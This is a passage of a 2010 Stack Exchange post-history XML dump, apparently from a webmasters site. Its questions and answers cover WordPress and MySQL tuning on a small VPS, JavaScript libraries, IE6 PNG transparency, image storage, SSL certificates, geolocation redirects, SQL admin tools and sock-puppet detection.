eventually going to get out of date. Upgrading the box requires a visit to the data centre and a bit more downtime while you unscrew the case and mess about inside.&#xD;&#xA;" />
  <row Id="1707" PostHistoryTypeId="2" PostId="935" RevisionGUID="8c08c36e-9c75-4320-b605-d0336ec1edab" CreationDate="2010-07-15T20:10:56.010" UserId="101" Text="Currently my company has 3 blogs and what I did was to install three instances of wordpress over Apache/MySQL, in different directories. The problem is that I have a Slicehost VPS with 256Mb RAM with Ubuntu8.04 and MySQL is crashing Linux or making it very slow and unresponsive. Is there some kind of optimal setup for this scenario? I know that my server is too *cheap* but I'm not sure either if an upgrade to 512 will fix things.&#xD;&#xA;&#xD;&#xA;I'm thinking about migrating to nginx, but what about MySQL? Is there any solution to this? Is this the right site to post this question or is it `serverfault`?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="1708" PostHistoryTypeId="1" PostId="935" RevisionGUID="8c08c36e-9c75-4320-b605-d0336ec1edab" CreationDate="2010-07-15T20:10:56.010" UserId="101" Text="Multi site wordpress setup" />
  <row Id="1709" PostHistoryTypeId="3" PostId="935" RevisionGUID="8c08c36e-9c75-4320-b605-d0336ec1edab" CreationDate="2010-07-15T20:10:56.010" UserId="101" Text="&lt;wordpress&gt;&lt;mysql&gt;&lt;nginx&gt;" />
  <row Id="1710" PostHistoryTypeId="2" PostId="936" RevisionGUID="4e362f69-6b47-46e2-8823-50aba99484f2" CreationDate="2010-07-15T20:12:49.017" UserDisplayName="Jon D. Koon" Text="http://www.sitepoint.com/ is an excellent website/blog for learning about web development." />
  <row Id="1711" PostHistoryTypeId="2" PostId="937" RevisionGUID="03b0f6eb-1f10-48eb-b309-42c0d018a6c4" CreationDate="2010-07-15T20:13:53.507" UserId="48" Text="IE6 supports transparent (but not translucent) PNG's out of the box. The PNG just has to be saved in the PNG8 format. If all you need is a transparent background and not a blending effect you don't need any code. Just save as PNG8." />
  <row Id="1712" PostHistoryTypeId="2" PostId="938" RevisionGUID="1b37918e-6bd1-4b70-9822-4a7593bf90a6" CreationDate="2010-07-15T20:16:26.810" UserId="347" Text="For ColdFusion:&#xD;&#xA; @cfjedimaster&#xD;&#xA; @clarkee21&#xD;&#xA; @JasonPDean&#xD;&#xA; @seancorfield&#xD;&#xA;&#xD;&#xA;For UI Design:&#xD;&#xA; @cameronmoll&#xD;&#xA; @drawr&#xD;&#xA; @khoi&#xD;&#xA; @andyrutledge" />
  <row Id="1713" PostHistoryTypeId="2" PostId="939" RevisionGUID="e93751f6-4aa1-4688-9570-0574237f2413" CreationDate="2010-07-15T20:20:13.960" UserId="348" Text="It mostly depends on what you're looking for.&#xD;&#xA;&#xD;&#xA;If you'd like to have complete control over your server, I'd recommend any one of the very good Linux VPS hosting services.  In particular, [Linode][1] has really good price-to-spec ratios on their VPS machines, and I've also had good luck with [Rackspace Cloud][2].&#xD;&#xA;&#xD;&#xA;If you're looking for a more hands-off approach, [Heroku][3] is really good as is [Engineyard][4] (if you can afford it).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linode.com/&#xD;&#xA;  [2]: http://www.rackspacecloud.com/&#xD;&#xA;  [3]: http://heroku.com/&#xD;&#xA;  [4]: http://www.engineyard.com/" />
  <row Id="1714" PostHistoryTypeId="2" PostId="940" RevisionGUID="697a3fb2-ffe0-4b93-bedf-9b66246535e8" CreationDate="2010-07-15T20:20:16.987" UserId="341" Text="My application (classic asp yay!) has about 2.1 million images @ 25GB and that only represents 90 days of data and I'd like to go 365 at a minimum.  I need to get these under control and am considering all options.  What are your thoughts on the pros and cons of the following practices:&#xD;&#xA;&#xD;&#xA; - SQL Server&#xD;&#xA;    Pros: Easy to back up&#xD;&#xA;    Cons: Performance ?&#xD;&#xA; - File System&#xD;&#xA;    Pros: Speed&#xD;&#xA;    Cons: Redundancy, Back up is slow (currently researching doing Synthetic full back ups instead which might make that better)&#xD;&#xA; - S3 and the like&#xD;&#xA;    Pros: Bandwidth is shifted from my datacenter to Amazon, virtually unlimited storage.&#xD;&#xA;    Cons: Cost, Cost Analysis is tricky (estimating 80% of my bandwidth is images for ROI purposes), Difficult/Costly to swtich service providers should that become necessary&#xD;&#xA;&#xD;&#xA;Does anyone else deal with the multi-million image challenge and how did you address it?" />
  <row Id="1715" PostHistoryTypeId="1" PostId="940" RevisionGUID="697a3fb2-ffe0-4b93-bedf-9b66246535e8" CreationDate="2010-07-15T20:20:16.987" UserId="341" Text="Serving Images out of SQL server vs. File system vs. S3 etc..." />
  <row Id="1716" PostHistoryTypeId="3" PostId="940" RevisionGUID="697a3fb2-ffe0-4b93-bedf-9b66246535e8" CreationDate="2010-07-15T20:20:16.987" UserId="341" Text="&lt;best-practice&gt;&lt;images&gt;" />
  <row Id="1717" PostHistoryTypeId="2" PostId="941" RevisionGUID="ab61b808-834a-4a10-b861-f9866fa9679a" CreationDate="2010-07-15T20:22:30.977" UserId="316" Text="While on the surface it's based on your preference, consider looking at the libraries, plugins, and samples of things that you want to use jQuery or Prototype to accomplish. For example, with a new Rails project all AJAX is done using prototype by default. Also if you want to use jQuery UI or jQTouch (mobile) I would recommend jQuery." />
  <row Id="1718" PostHistoryTypeId="2" PostId="942" RevisionGUID="91f0812f-05c3-4023-87eb-995f4d2c1cf2" CreationDate="2010-07-15T20:23:28.743" UserId="350" Text="Another &quot;it depends&quot; answer, but it really does.&#xD;&#xA;&#xD;&#xA;The pricing point of Heroku is easily great for small sites.  Once you get into more &quot;application&quot; based rails sites, you might want to look at Slicehost or some other VPS provider.  &#xD;&#xA;&#xD;&#xA;From there, full servers (Site5, Hostgator) might be the answer.&#xD;&#xA;&#xD;&#xA;Ask yourself how much horsepower you really need for your site.  If you can estimate this well, you have your answer." />
  <row Id="1719" PostHistoryTypeId="2" PostId="943" RevisionGUID="2d889960-eec4-44e3-a4ae-b434f8d26b07" CreationDate="2010-07-15T20:30:41.267" UserId="357" Text="I used [Tilted][1] for a Rails app and its great. They're also very friendly and A+ support. A more popular alternative, recommended by my co-worker, would be Rackspace.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tilted.com" />
  <row Id="1720" PostHistoryTypeId="2" PostId="944" RevisionGUID="2d0e78cc-c8e5-4ea5-97f6-7b1d9339ad80" CreationDate="2010-07-15T20:31:17.710" UserId="316" Text="Checkout http://code.google.com/p/ie7-js/ - It can allow you to use modern features that aren't natively supported by IE" />
  <row Id="1721" PostHistoryTypeId="2" PostId="945" RevisionGUID="e3b14160-7b5e-45e7-95e9-961e7f9a4cf8" CreationDate="2010-07-15T20:35:06.530" UserId="287" Text="Not only does it depend on the layout of your page, but also the content of your page, and the people your page is targeting.  (AdWords users have the option to only display ads to people from certain locations)" />
  <row Id="1722" PostHistoryTypeId="2" PostId="946" RevisionGUID="6ad92c38-2294-4c01-b8a0-312e69750f58" CreationDate="2010-07-15T20:35:10.150" UserId="360" Text="If you're OK with GIF-like transparency (in IE6 only), then use PNG8+Alpha (paletted, but with semitransparencies). &#xD;&#xA;&#xD;&#xA;It gives full alpha in all other browsers. Does not require slow and finicky DX Filters (on which _all_ IE6 PNG24 fixes are based on).&#xD;&#xA;&#xD;&#xA;Fireworks and `pngnq`/`pngquant` can save this format (I wrote [Mac GUI](http://pornel.net/imagealpha) for them).&#xD;&#xA;&#xD;&#xA;Adobe Photoshop is the only notable software that doesn't support it, but you can export PNG24 and then convert it." />
  <row Id="1723" PostHistoryTypeId="2" PostId="947" RevisionGUID="6b864deb-aaf8-49c2-b004-69272b452363" CreationDate="2010-07-15T20:35:49.773" UserId="359" Text="I agree with spaetzel to the extent that you're talking about CPC advertising. But, in terms of CPM advertising, it's easier to figure out.&#xD;&#xA;&#xD;&#xA;Many entry-level ad networks pay $0.50 to $1 per 1000 ad impressions. So, for a site with 100,000 page views per day, you're talking about $50-$100. Double it if you have two ad units; triple if you have three; etc.&#xD;&#xA;&#xD;&#xA;It also depends, of course, on who your audience is. If your users are attractive to advertisers you'll be able to charge much higher CPMs." />
  <row Id="1724" PostHistoryTypeId="2" PostId="948" RevisionGUID="e95747ef-1935-4442-a25d-aeb77956098c" CreationDate="2010-07-15T20:40:14.817" UserId="366" Text="Probably not, try this tool &lt;http://robot.dabase.com/&gt; to see what a robot typically sees on your site." />
  <row Id="1725" PostHistoryTypeId="2" PostId="949" RevisionGUID="df9f5618-5cfd-457c-a1aa-165c689bb8a8" CreationDate="2010-07-15T20:40:42.897" UserId="80" Text="See [this question][1] and my answer over at ServerFault.com.  When you have a CNAME, you cannot have other records of different types on the same hostname.  This isn't a limitation of 1&amp;1, it's a limitation of DNS itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/18000/dns-subdomains-that-require-both-an-mx-record-and-a-cname" />
  <row Id="1726" PostHistoryTypeId="2" PostId="950" RevisionGUID="8472ef48-b2fe-4110-b67b-3c95ff0236a4" CreationDate="2010-07-15T20:41:28.263" UserId="316" Text="Also there are plugins to make a site for realtors to list their homes for sale, it's really closer to a CMS once you start looking at plugins, and custom fields. Also in the latest version 3.0 there is now support for multiple users that allows you to create a sort of mini-facebook or ning-like social website." />
  <row Id="1727" PostHistoryTypeId="2" PostId="951" RevisionGUID="704e4619-668a-4c8d-a2e6-9a53484c9241" CreationDate="2010-07-15T20:46:09.327" UserId="80" Text="One tool that I use regularly is the domain report at DNSStuff.com.  It's tests are mostly related to DNS and the domain name itself, but it can identify a number of things at the low level which can dramatically impact performance higher up the stack.  I recommend running a DNS testing tool like this in addition to higher level tests to have all the bases covered." />
  <row Id="1728" PostHistoryTypeId="2" PostId="952" RevisionGUID="9e577d45-5ae5-4990-bcd2-f490c08ee0c4" CreationDate="2010-07-15T20:48:05.983" UserId="369" Text="Wordpresses primary function is as a blog. It is not a Content Management System. I you want to do more than the simple blog/gallery/personal webpage then I would hire a developer and getg an actual cms such as Drupal. This will allow for better expansion in the long run." />
  <row Id="1729" PostHistoryTypeId="2" PostId="953" RevisionGUID="108c2400-aa79-4929-9f49-e224d665c91f" CreationDate="2010-07-15T20:52:34.303" UserId="179" Text="The reasons I use jQuery over any other library:&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Fast and Lightweight&lt;/strong&gt;&lt;br /&gt;&#xD;&#xA;jQuery continues to increase the performance of their library even in of minor-revision-level releases. When they released 1.4.2, the speed of the library was greatly increased even from 1.4.1, as shown in an &lt;a href=&quot;http://ajaxian.com/archives/jquery-1-4-2-performance-and-a-few-apis&quot;&gt;Ajaxian blog post&lt;/a&gt; regarding its release. Performance analysis of 1.4 compared to 1.3 was done by the jQuery team in the &lt;a href=&quot;http://jquery14.com/day-01/jquery-14&quot;&gt;release announcement for 1.4&lt;/a&gt;, showing that 1.4 had been &lt;em&gt;heavily&lt;/em&gt; optimized in the areas of its most frequent use and that performance had also increased across the board.&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Popular&lt;/strong&gt;&lt;br /&gt;&#xD;&#xA;jQuery is served by 48 of the top 2000 websites in the Alexa directory, compared to Prototype's 6, MooTools's 3, and Dojo's 1.&#xD;&#xA;&#xD;&#xA;Built With's &lt;a href=&quot;http://trends.builtwith.com/javascript&quot;&gt;Javascript Distrobution&lt;/a&gt; indicate that jQuery is used by over 40% of their indexed sites. Built With's &lt;a href=&quot;http://trends.builtwith.com/javascript/JQuery&quot;&gt;jQuery Usage Statistics&lt;/a&gt; show &lt;em&gt;32% of the Top 10,000&lt;/em&gt; sites, &lt;em&gt;23% of the top 100,000&lt;/em&gt; sites, and &lt;em&gt;15% of the top 1,000,000&lt;/em&gt; sites in their index using jQuery. &lt;a href=&quot;http://trends.builtwith.com/compare/JQuery/Prototype&quot;&gt;Compare&lt;/a&gt; this to &lt;a href=&quot;http://trends.builtwith.com/javascript/Prototype&quot;&gt;Prototype&lt;/a&gt;'s 5%, 4%, and 2% respectively in those categories. Also notice that while jQuery's usages are all trending steadily upward, Prototype's usages are all trending downward.&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Actively (and Intelligently) Developed&lt;/strong&gt;&lt;br /&gt;&#xD;&#xA;In March, jQuery posted on its blog &lt;a href=&quot;http://blog.jquery.com/2010/03/16/microsoft-to-expand-its-collaboration-with-the-jquery-community/&quot;&gt;Microsoft to Expand its Collaboration with the jQuery Community&lt;/a&gt;. From the post:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The jQuery Project is excited to announce that Microsoft is expanding its support of the jQuery JavaScript Library through new initiatives, to include code contributions, product integration, and the allocation of additional resources.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&#xD;&#xA;...&#xD;&#xA;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;Microsoft will also ship a current release of the jQuery JavaScript Library in both Visual Studio 2010 and ASP.NET MVC as well as continue to host current versions of the library on the Microsoft CDN.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Microsoft is now included in the community of active contributors to the jQuery codebase. Microsoft has some &lt;em&gt;very smart&lt;/em&gt; developers. Microsoft also financially contributes to jQuery. Microsoft has &lt;em&gt;a lot&lt;/em&gt; of money. They are also giving jQuery instant exposure to any developer with Visual Studio. Microsoft is also working on ASP.NET to specifically &lt;a href=&quot;http://www.microsoftpdc.com/2009/FT29&quot;&gt;make jQuery's integration better&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt; Also learn how ASP.NET AJAX was designed to work seamlessly with jQuery, how you can create ASP.NET AJAX controls directly from jQuery and how you can use the jQuery library in ASP.NET AJAX code.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;More on Microsoft's use of jQuery can be found in Scott Guthrie's ASP.NET blog post &lt;a href=&quot;http://weblogs.asp.net/scottgu/archive/2008/09/28/jquery-and-microsoft.aspx&quot;&gt;jQuery and Microsoft&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://github.com/jquery/jquery/&quot;&gt;jQuery's source code&lt;/a&gt; is hosted publicly on GitHub. This is a plus for me personally since I prefer Git to other SCM systems.&#xD;&#xA;&#xD;&#xA;jQuery's &lt;a href=&quot;http://sizzlejs.com/&quot;&gt;Sizzle&lt;/a&gt; selector engine is great. And it's great because jQuery isn't working on it alone. In a &lt;a href=&quot;http://docs.jquery.com/Release:jQuery_1.3&quot;&gt;blog post announcing the release of v1.3&lt;/a&gt; early last year, they basically said &quot;We know we're not smarter than everybody else and we're more interested in advancing the community by working with smart people than in saying we're better than they are.&quot;&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;One thing that became very obvious during the development of the new engine: We wanted to be able to collaborate on it with other libraries and developers. We saw an opportunity for some solid collaboration with some of the best JavaScript developers - the result of which will help users of all libraries. For this reason we made sure that Sizzle was able to work completely standalone (no dependencies).&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;Additionally, as a sign of good faith and willingness to collaborate, we've released the source code to Sizzle to the Dojo Foundation. We wanted a common meeting ground where everyone would be able to work together and under which there would be a clear long-term copyright holder.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;Right now we're working with Prototype, Dojo, Yahoo UI, MochiKit, and TinyMCE (and many others) on Sizzle, honing it to perfection.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Mobile Support&lt;/strong&gt;&lt;br /&gt;&#xD;&#xA;In the YayQuery podcast, &lt;a href=&quot;http://cdn.yayquery.com/ep/18/yayquery_18.mp3&quot;&gt;Episode 18 (mp3)&lt;/a&gt;, John Resign outlines the plans for jQuery's mobile support. The philosophy is that the primary jQuery library should be compatible with mobile devices, instead of writing a dedicated mobile version. One of the many benefits of this is that as your primary library is used on general as well as mobile websites, it is more likely to become cached, and mobile-specific websites can use the same cached version as non-mobile websites. John also explains exactly which phones and operating systems are planned for support.&#xD;&#xA;&#xD;&#xA;jQuery can be used with &lt;a href=&quot;http://www.phonegap.com/&quot;&gt;PhoneGap&lt;/a&gt; to create native applications using web technologies for mobile devices. It also has a plugin named &lt;a href=&quot;http://www.jqtouch.com/&quot;&gt;JQTouch&lt;/a&gt; for building native-like web apps for the iPhone and other mobile browsers. This means all those shortcuts you have with jQuery translate to other platforms, decreasing the learning curve.&#xD;&#xA;&#xD;&#xA;&lt;strong&gt;Active in the Development Community&lt;/strong&gt;&lt;br /&gt;&#xD;&#xA;John Resig is an active &lt;a href=&quot;http://ejohn.org/blog/spring-2010-jquery-talks/&quot;&gt;speaker&lt;/a&gt;. He includes not only major conferences and events but has also &lt;a href=&quot;http://vimeo.com/12166734&quot;&gt;appeared&lt;/a&gt; on podcasts like &lt;a href=&quot;http://yayquery.com&quot;&gt;YayQuery&lt;/a&gt;. He has also written two books: &lt;a href=&quot;http://jsninja.com/&quot;&gt;Javascript Ninja&lt;/a&gt; and &lt;a href=&quot;http://jspro.org/&quot;&gt;Pro Javascript&lt;/a&gt;, both about pure Javascript skills not dedicated jQuery." />
  <row Id="1730" PostHistoryTypeId="2" PostId="954" RevisionGUID="bdf421e0-e0d4-4961-a3b8-e05e08758f6a" CreationDate="2010-07-15T20:53:02.243" UserId="369" Text="Not only does it depend on the content of the page and the layout of the page but also the content of the ads. With Adsense you can tune the ads to the content to maximize their effectiveness. Check the google adsense customization." />
  <row Id="1731" PostHistoryTypeId="2" PostId="955" RevisionGUID="296314dc-b982-4a24-a0a5-4ef35ec7982c" CreationDate="2010-07-15T20:54:07.623" UserId="372" Text="For example a section with facebook chat, a section to post to twitter, maybe browser youtube... That sort of stuff. (PHP &amp; JS Please, no Flash)" />
  <row Id="1732" PostHistoryTypeId="1" PostId="955" RevisionGUID="296314dc-b982-4a24-a0a5-4ef35ec7982c" CreationDate="2010-07-15T20:54:07.623" UserId="372" Text="Are there any scripts to integrate social networking site's chat and posting features into a webpage" />
  <row Id="1733" PostHistoryTypeId="3" PostId="955" RevisionGUID="296314dc-b982-4a24-a0a5-4ef35ec7982c" CreationDate="2010-07-15T20:54:07.623" UserId="372" Text="&lt;social-media&gt;" />
  <row Id="1734" PostHistoryTypeId="2" PostId="956" RevisionGUID="dbfbea7f-901a-4a6f-b81a-aa0f4c1edec6" CreationDate="2010-07-15T20:54:33.380" UserId="362" Text="Tuning a vserver takes a lot of time. Most of the time, you are playing the try &amp; error game. And sometimes, the results are not very satisfying... But:&#xD;&#xA;&#xD;&#xA;To tune mysql, run the tuning-primer against the mysql instance you are trying to optimize: http://www.day32.com/MySQL/tuning-primer.sh This script tells you which parameters should be changed.&#xD;&#xA;&#xD;&#xA;If I recall correctly, there is a wordpress-mod, that uses sqlite instead of mysql, which frees lots of your precious RAM. hxxp://wordpress.org/extend/plugins/pdo-for-wordpress/&#xD;&#xA;&#xD;&#xA;Remove all apache modules that are not in use by your applications.&#xD;&#xA;&#xD;&#xA;Caching is always a good idea, chances are, that you will utlilize a disk cache.&#xD;&#xA;&#xD;&#xA;Remove as many services as possible: &#xD;&#xA;Postfix? Not needed, take the Mailer of your ISP. &#xD;&#xA;Cron? It's usually a good idea to keep it. Ditching cron frees some more memory, as the scripts run by cron are no longer eating your RAM. On the other hand: you will have to rotate the logs on your own (and much more)...&#xD;&#xA;ssh? keep.&#xD;&#xA;ftp? no. use sftp (kind of ftp over ssh). It's safer and saves you RAM.&#xD;&#xA;&#xD;&#xA;To be honest: your time and effort are most likely much more worth than an account upgrade to more RAM..." />
  <row Id="1735" PostHistoryTypeId="2" PostId="957" RevisionGUID="aba7c116-f82b-41c6-831e-5e909c7aeee0" CreationDate="2010-07-15T20:59:52.023" UserId="344" Text="You are correct, using a wildcard cert is a great idea in this case.  It'll keep your configuration for separate domains simple, and ensure that any subdomains you decide to add will work.  &#xD;&#xA;&#xD;&#xA;There are a couple drawbacks:  &#xD;&#xA; - Your top level domain is not secure.  As in, the certificate is not good for `example.com`.  &#xD;&#xA; - They are very expensive, normally around $1k.&#xD;&#xA;&#xD;&#xA;As for 1-server-only certs, it depends on the agreement you make when you purchase the cert.  Some will allow the cert to be installed on multiple servers, some will not. Also, I have no idea how or if they check that the cert is only installed on a single server.  You might be able to get away with it...&#xD;&#xA;&#xD;&#xA;Also, if you are using a load balancer, I would recommend installing the cert there, if your hardware allows it.  I know the Cisco CSS series has a dedicated hardware module that handles all the encryption and decryption, saving some work for your servers." />
  <row Id="1736" PostHistoryTypeId="2" PostId="958" RevisionGUID="d9f074ae-15d3-410f-b53b-83a671702d32" CreationDate="2010-07-15T21:04:15.510" UserId="369" Text="While I don't deal with the multi-million image challenge, I would use Amazon CloudFront. It all the files are stored in an S3 bucket but are server through Amazon's content delivery system. I would not use S3 alone.&#xD;&#xA;&#xD;&#xA;My second choice would be file system. Simple and easy, only problem is if all these files end up in one directory the whole thing will crash, hard.&#xD;&#xA;&#xD;&#xA;SQL to me would not be an option for a system like this. Not only are you getting charged for bandwidth transfer you will also be charged for the processing of the query --this will very depending on hosting, but I assume that you are using a dedicated server or at the least a vps where you will be charged for cycles. Then it will slow down your entire site if it uses the same database as the image server. If not then you add all this complexity of having to manage two database connections. " />
  <row Id="1737" PostHistoryTypeId="2" PostId="959" RevisionGUID="96ce5f89-cc82-419d-9c45-a8799fccd6fb" CreationDate="2010-07-15T21:08:33.517" UserId="369" Text="This depends on the social network.&#xD;&#xA;Facebook's developer center will help you.&#xD;&#xA;http://developers.facebook.com/" />
  <row Id="1738" PostHistoryTypeId="2" PostId="960" RevisionGUID="8fa20429-24b4-4c60-97d8-ca316fb76280" CreationDate="2010-07-15T21:10:19.317" UserId="368" Text="Since HTTP is stateless, the only way to track whether a user has submitted the first form once the browser is closed is by using a persistence mechanism (e.g., a database) just as you have done.&#xD;&#xA;&#xD;&#xA;However, you may run into a problem if users submit the first form and the cron job runs before they have a chance to submit the second form.  You may want to also check that a certain amount of time has also passed.&#xD;&#xA;&#xD;&#xA;Theoretically you could also try to detect when the browser is closing and use that event to trigger an action, but I advise *strongly* against it." />
  <row Id="1739" PostHistoryTypeId="2" PostId="961" RevisionGUID="03da537a-d69e-4487-9406-07b133534313" CreationDate="2010-07-15T21:13:41.920" UserId="343" Text="Let's say I have a site that has multiple versions for different countries, e.g.:&#xD;&#xA;&#xD;&#xA;    www.example.com/us&#xD;&#xA;    www.example.com/uk&#xD;&#xA;    www.example.com/ca&#xD;&#xA;&#xD;&#xA;and I want to use IP geolocation to redirect users who go to `www.example.com` to the appropriate country version of the site.  What is the best way to do that without confusing crawlers such as Googlebot or running into other SEO type trouble?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1740" PostHistoryTypeId="1" PostId="961" RevisionGUID="03da537a-d69e-4487-9406-07b133534313" CreationDate="2010-07-15T21:13:41.920" UserId="343" Text="Redirect based on country" />
  <row Id="1741" PostHistoryTypeId="3" PostId="961" RevisionGUID="03da537a-d69e-4487-9406-07b133534313" CreationDate="2010-07-15T21:13:41.920" UserId="343" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="1742" PostHistoryTypeId="2" PostId="962" RevisionGUID="2f2dea3b-442c-4192-9030-fe5e7fd8ec69" CreationDate="2010-07-15T21:14:23.887" UserId="382" Text="[Wordpress MU][1] might be overkill for just three blogs, but it *will* let you run everything against just one database and just one Wordpress install.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mu.wordpress.org/" />
  <row Id="1743" PostHistoryTypeId="5" PostId="888" RevisionGUID="9ab24669-ccc3-47ca-a6b8-caca54750ebe" CreationDate="2010-07-15T21:24:00.413" UserId="210" Comment="edited body" Text="[Piwik][1]: Open source real time analytics. I don't use this, but I have a friend who does and he really likes it. It does look pretty nice and with something like this you can do all sorts of other things with the data (such as your own real time stats on the website).&#xD;&#xA;&#xD;&#xA;Also, [here is a list of alternatives][2]. It has log file analyzers, like Analog or AWStats, remote services, like stat24 and Yahoo Analytics, and self hosted, like Open Web Analytics and FireStats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://piwik.org/&#xD;&#xA;  [2]: http://regulargeek.com/2010/05/29/25-free-google-analytics-alternatives/" />
  <row Id="1744" PostHistoryTypeId="2" PostId="963" RevisionGUID="d1ce9b26-188a-4b9d-97a6-492d40269bf8" CreationDate="2010-07-15T21:25:08.573" UserId="328" Text="You will run into SEO issues because crawler IPs will likely get detected as being from US and won't be able to see the other parts of the website, unless they're linked to somewhere on your website, in which case they will be indexed. &#xD;&#xA;&#xD;&#xA;Another idea to consider would be offering a world map or something similar, and letting the user choose for himself and remember his choice through a cookie?" />
  <row Id="1745" PostHistoryTypeId="2" PostId="964" RevisionGUID="422f49a9-66f9-402b-abf6-e755abb2d847" CreationDate="2010-07-15T21:27:15.643" UserId="331" Text="Since I don't have TCP/IP access to my database--I just have a connection string that works from my ASP.NET pages--I need some sort of administrative web page or pages, or a whole website that lets me do as many actions as possible inside my database, such as executing arbitrary SQL, generating scripts, creating tables, etc.&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;If it works with SQL 2005, that would be best, but I'm willing to try solutions targeting SQL 2000 or SQL 2008." />
  <row Id="1746" PostHistoryTypeId="1" PostId="964" RevisionGUID="422f49a9-66f9-402b-abf6-e755abb2d847" CreationDate="2010-07-15T21:27:15.643" UserId="331" Text="I need a free or cheap and easy to install SQL administration website.  Recommendations?" />
  <row Id="1747" PostHistoryTypeId="3" PostId="964" RevisionGUID="422f49a9-66f9-402b-abf6-e755abb2d847" CreationDate="2010-07-15T21:27:15.643" UserId="331" Text="&lt;tools&gt;" />
  <row Id="1748" PostHistoryTypeId="2" PostId="965" RevisionGUID="634dfe04-c8da-4805-bd69-495eff35cf15" CreationDate="2010-07-15T21:28:04.427" UserId="389" Text="Yioiu should investigate twitter Anywhere - http://dev.twitter.com/anywhere/ a cool implementation of what you seek with a few lines of JS" />
  <row Id="1749" PostHistoryTypeId="2" PostId="966" RevisionGUID="8df27ada-4a37-46e5-afa8-47499b98cb79" CreationDate="2010-07-15T21:28:52.430" UserId="316" Text="Audio and video tags allow for presenting media without the need for a plugin like Flash or Silverlight, and most importantly works on the iPhone and iPad browsers.  There are some issues that need to be worked out regarding codecs and digital rights management." />
  <row Id="1750" PostHistoryTypeId="16" PostId="925" RevisionGUID="e34607f1-186e-4671-a731-3d35b50ce518" CreationDate="2010-07-15T21:32:24.473" UserId="316" />
  <row Id="1751" PostHistoryTypeId="2" PostId="967" RevisionGUID="18c80880-d200-4f5d-a3cd-d08efda755c8" CreationDate="2010-07-15T21:33:56.050" UserId="343" Text="Google does have &quot;geographic targeting&quot; for domains.  Presumably that means it will favor certain domains over others depending on your geographic targeting and where the person searching is located.  &#xD;&#xA;&#xD;&#xA;For the generic TLDs (.com, .org, .net, etc) you can set the geographic targeting to any country you want in Google Webmaster tools.  For country-specific TLDs, the geographic targeting is preset to the appropriate country and cannot be changed.&#xD;&#xA;&#xD;&#xA;So, your `.in` website will probably get a bit of a boost in India, but not in Italy.  As for whether it will be *penalized* for Italian searchers, I would guess it might a bit, but that's purely speculation." />
  <row Id="1752" PostHistoryTypeId="2" PostId="968" RevisionGUID="a644513d-c3f8-4840-b3b4-c416a5c05511" CreationDate="2010-07-15T21:34:01.057" UserId="368" Text="Since your site appears to serve country-specific information at different URLs, you could provide a [sitemap][1] to help search engines discover them all.  Just make sure you don't block access to any countries due to the assumptions you make based on IP.  Always give the user (or in this case, Web crawler) the option to choose a different country.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sitemaps" />
  <row Id="1753" PostHistoryTypeId="2" PostId="969" RevisionGUID="d868f794-255b-4447-b892-adb6443c7aab" CreationDate="2010-07-15T21:54:42.370" UserId="234" Text="Is this not a question that would fit better for stackoverflow.com?&#xD;&#xA;&#xD;&#xA;Here is a admin tool that you can try:&#xD;&#xA;SQL Server Web Tools - http://sqlwebtools.codeplex.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1754" PostHistoryTypeId="2" PostId="970" RevisionGUID="37a36dbc-ee3b-4632-813f-2d8f6232e0cb" CreationDate="2010-07-15T22:00:57.190" UserId="9301" Text="In addition to artlung's list:&#xD;&#xA;&#xD;&#xA;Especially in Europe a lot of people are on dynamic IP addresses and you would have to ban the whole IP range of their provider to effectively ban them.&#xD;&#xA;&#xD;&#xA;There are a few signs that a user might share two accounts and are therefore sock puppets. Moderators can use them when they have the suspicion that someone registered but the process could also be automated. &#xD;&#xA;&#xD;&#xA;Does the IP belong to the same city?&#xD;&#xA;Does the header of the browser suggest the same browser and screen-size?&#xD;&#xA;Does the EMail address look like a real EMail address? What happens when you Google the part before the domain name? What happens when you search in facebook for an account of that email address?&#xD;&#xA;&#xD;&#xA;[Anti-aliasing on the web by Jasmine Novak et al][2] is a paper that suggests that their automated algorithm archives a 90% accuracy for identifying sock puppets based on their habits of word choice and text formatting.&#xD;&#xA;&#xD;&#xA;Having cookies that identify users can catch some users.&#xD;&#xA;&#xD;&#xA;Authentication through sending an SMS can help.&#xD;&#xA;&#xD;&#xA;In Germany the new password that will be introduced will have a feature to authenticate users to websites and therefore provide real sock puppet protection. Unfortunately that's no international standard and therefore not much use.&#xD;&#xA;&#xD;&#xA;[Citizendium][1] requires an official email address from a workplace or an university to register. That system works well at preventing sock puppets but it also seems to impede registration.&#xD;&#xA;Requiring a healthy facebook account might be one alternative that could also work to expand the kind of authentication that Citizendium uses.&#xD;&#xA;&#xD;&#xA;Wikipedia bans access from Tor and Anonymous proxies. If you don't have the resources to implement such a system yourself googling for an IP address can often tell you if the IP address is an open proxy and therefore landed in some spam 